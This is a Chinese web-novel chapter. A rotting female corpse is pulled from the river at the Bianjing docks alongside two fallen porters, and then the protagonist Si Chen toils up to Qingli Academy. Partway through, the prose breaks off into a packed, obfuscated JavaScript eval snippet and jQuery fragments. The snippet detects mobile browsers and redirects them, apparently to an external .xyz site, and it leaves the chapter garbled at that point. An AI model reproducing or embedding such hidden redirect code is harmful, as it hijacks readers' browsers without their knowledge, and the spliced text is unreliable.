17. 第三个落水的人

作品:《全家穿越后靠破案霸榜汴京头条

    清晨,河面上氤氲着一层薄薄的雾气,只能隐隐绰绰地看见商船缓缓驶来,号子声比商船更先传到码头上。


    商船虽未至,码头上的人却都已经活泛起来。


    摆摊卖炊饼的阿婆摇着蒲扇的手快了许多,让火烧得更旺些,多出一锅炊饼,就能多卖上几文钱。


    她不仅自己忙碌起来,也催着旁边灌肺汤的摊主快动起来,将面粉浆灌入猪肺,配着骨汤熬出羹汤,那群在水上漂了许久的船夫早就馋这口重味。


    灌肺汤的摊主笑着应了声,买了灌肺汤的少不得也会在炊饼摊买上一两个炊饼,而买了炊饼的大多也会搭上一碗灌肺汤,两人倒是相互惠利。


    临近码头,一艘艘商船收帆减速,船夫们将缆绳抛上岸以固定船只停靠。


    商船一停靠好,早就在码头等候多时的脚夫就排着队上船,船上货物繁多,丝绸瓷器、稻米药材数不胜数,货物不同搬运的辛苦程度也就不同,脚夫们都想要搬运轻巧的货物,就免不得发生些口角事端。


    就比如此时,一位身穿短打的壮汉被船上管事安排搬运稻米,他心底不愿便看向被分去搬运丝绸的几人,打量了一圈最后锁定人群中看起来面生瘦削的青年。


    管事一离开,壮汉就提溜着青年与他换了个方向,他明显比对方强壮,所以并没有费多少力气就换了位置,这种事不是第一次发生,其他脚夫只看了一眼便木然地转开视线。


    青年先是一懵,然后出乎众人意料的与他争执了起来,壮汉见他瘦削本以为他没什么力气,却没想到两人拉扯间竟被他拖着从商船翻了下去。


    落水声前后传来,众人惊诧过后就纷纷喊道:“有人落水了!”


    水流湍急,很快就将两人冲得远离商船,壮汉尚且能挣扎着抬高手臂呼救,而青年则扑腾了两下就被淹没,眨眼间就消失在水面之上。


    商船管事探头看了眼,皱眉斥骂了声,之后才转身喊住几名快要下船的船夫,让他们下去捞人。


    本赶着去打牙祭得船夫被喊住先是啐了口,闻着远处飘来的阵阵早食香气,纷纷咒骂着回身跳下水救人。


    壮汉稍微懂些水性,虽然喊得最响,但并没有被冲很远,瘦削青年沉下去的很快,被冲得也更远,捞他的船夫费了好一番功夫。


    一通折腾后,人终于都被救了上来,老船夫拧着粗衣短褂上的水,重重踢向甲板上刚捞上来的人:“他娘的净找事,害得老子早食到现在都没吃!”


    商船管事紧锁着眉头:“把他们三个都赶下船,以后不许再用他们!”


    壮汉先是被踢得‘闷哼’一声,都来不及在意以后不能再上这家商船搬货,闻言发怔:“三个?”


    一直围观的脚夫这时才反应过来不对劲之处,在旁窃窃私语。


    “怎么捞上来三个人?”


    “是啊!方才不是就就掉下去两个人吗?”


    青年左手撑着甲板坐了起来,右手抚着前胸接连咳出几口水才缓了过来,他抬手指向壮汉,对着商船管事哑声道:“之前只有我和他掉下水。”


    商船管事眉心顿时一跳,他侧身看向从打捞上来就一直背着众人安静趴在甲板角落的人,越看越觉得人不对劲。


    “这人谁捞的?”


    一个拧着头发水珠的年轻船夫甩了甩手上的水珠:“好像是我捞上来的。”


    他离得比较近,两步走到从捞上来就一直趴着得的人身旁轻踢了两脚:“喂!起来!你谁啊?”


    地上的人没有回话,依旧纹丝不动的躺着。


    人群逐渐安静了下来,年轻船夫还想着再补一脚,老船夫面色凝重地拦住人,他注意到趴着的人似乎穿着女子的衣裙。


    老船夫蹲下身的瞬间就闻到一股类似鱼虾腐烂的臭味,他伸出得手顿了下又迟疑地将人翻了过来。


    霎时间,难闻到呛人地腐臭味扑面袭来,年轻船夫在看清地上人的面目后满脸血色顿失,踉踉跄跄地跑向商船边干呕,一边吐一边急切地脱掉身上的衣服。


    “死…死人!”


    先是一人喃喃说了句,之后人群慌不择路的散开,一股脑都向着码头跑去,人挤人摔倒了也顾不得吵闹,纷纷想远离这里,商船顿时乱作了一团。


    商船管事被人流挤到了船边,年轻船夫还趴在船边吐,他黑着脸一巴掌打在年轻船夫的手臂上:“脸上长得那对招子是做什么用的?你捞人的时候都知道看一眼吗?东家怪罪下来到时候有你好受的!”


    年轻船夫像是没听到他的话,双眼震惊地盯着商船管事刚打过他手臂上的左手。


    商船管事看不得他这副蠢样,吼道:“你愣着做什么?还不快去报官!”


    年轻船夫被吼得回了神,愣愣地点了下头,转身走了几步又回身踌躇道:“我捞了那个…上来,还没冲洗……”


    他看见商船管事越瞪越大的双眼,剩下的话没再说,赶忙回头匆匆跑远,他的无袖短褂扔了,因为捞人时直接接触了皮肤,本想跳下水冲洗身体,但尸身是从水下捞上来的,所以心里膈应的一直没下去。


    商船管事想骂人又找不到宣泄口,怔怔地看着自己的左手,感觉自己脸上的汗毛都立了起来,喉间登时泛起一阵恶心,趴在年轻船夫同样的位置干呕了起来。


    ……


    “为什么?呼哧呼哧…谁家……”


    司尘抬手蹭掉脸上滑落的大颗汗水,喘着粗气一脸绝望地望着前方爬不完的台阶,“谁家正经学校能干出这种事?”


    广白疑惑:“什么学校?”


    司尘一屁股坐在台阶上:“就是这书院。”


    每天还没进书院就要先爬五百层台阶,都累成狗了谁还有心思好好做学问。


    此时的司尘已经开始后悔,不就是被他们逼着认认繁体字嘛,自己非要觉得闷得慌跑来学院,结果一大早在这吭哧吭哧的爬台阶。


    “五郎君快起来,不能再耽误了。”


    广白放下书箱上前扶起司尘,“过了时辰书院就会闭门,那时就进不去了!”


    广白一手提着书箱,一手拽着司尘艰难向上爬。


    司尘被他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532667|170832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拽着连上了几个台阶,有些不好意思地往四周望了望,结果发现有不少人都是和他一样的情形,甚至有的人更过分,直接让书童背着、抬着上山。


    他一脸羡慕地收回目光,转而双眼饱含期待地望向广白,结果看到他因为拉着自己而露出的瘦削手臂,羞愧地压下想法。


    司尘不好意思的收回手,在广白疑惑的目光下说道:“那什么,我…我好多了,自己爬吧。”


    又磨磨蹭蹭爬了小半个时辰,终于见到了书院大门。他毫无形象的瘫坐在地,双手靠后撑地,上气不接下气地仰头打量前方。


    书院大门高达三丈有余,朱红色的门板厚实而沉重,大门之上,高悬着一块黑底金字的匾额——青蔾书院。


    书院在晟朝立国前就存在,筹建人是前朝太傅,此人博学多才且育人无数,无论是庙堂高官还是凡尘大儒,许多都是从这座书院走出的学子,也因此这座书院才能够在浮沉中完好保留了下来。


    大门前,是一片宽阔的青石广场,司尘正是瘫坐在广场上,还没等他缓过气,书院内突然响起了一阵钟声。


    广白立马一个激灵将人拽起来往大门跑:“快!快!书院要闭门了!”


    又是一阵兵荒马乱,司尘抱着书箱愣愣地站在门内,广白与其他书童都只能候在外面,青蔾书院不允学子带家仆。


    “奚向文,说好了啊!今日下学一起去品香轩,你小子不要又想跑!”


    一行三四人从司尘面前走过,走在中间的绿袍少年右手搭在矮他半头的黄衣少年肩头,左手还戳了两下对方的额头。


    黄衣少年生了一张肉乎乎的圆脸,笑得很是勉强:“我家中还有事……”


    “你家能有什么了不得的大事?奚向文,你小子越发不老实了。”


    “不,没有,家中真得有事,你们去品香轩只管将花销记在我名下,我……”


    人走得越来越远,声音也越来越小,司尘没有听清后面又说了哪些。


    “司五郎!你来书院了?”


    司尘感受到肩膀被拍了下,转过身就看到之前在七彩楼见过的人,他还记得人叫万青。


    “文光兄还不晓得何时才能回学院,前两日我去探望他时他还是很憔悴。”


    万青说着叹了口气,担忧的神色特别明显:“听说他如今夜里总是被梦魇惊醒,我也会时不时梦到,虽说没与你们一起被困柴房,但一想到永元……唉!你如何?最近可安好?”


    司尘与他对视,沉默两秒指着自己的脸:“你看呢?”


    万青望着眼前红润有光泽的一张脸,不太自然地扯了下嘴角:“还是你看得开……”


    司尘没等他说完就拍了下他的肩:“朋友~你脑子忘性大得很呢~都讲过我把脑子丢了嘞~还有啥想不通的撒~”


    说完这句司尘不再多留,也没有管身后万青的目光,而是提着书箱随人群向学堂走去。


    万青抬手抚了下刚被司尘拍过的肩头,面上一阵茫然,虽然听懂了他的意思,但这怪里怪气语调是怎么回事?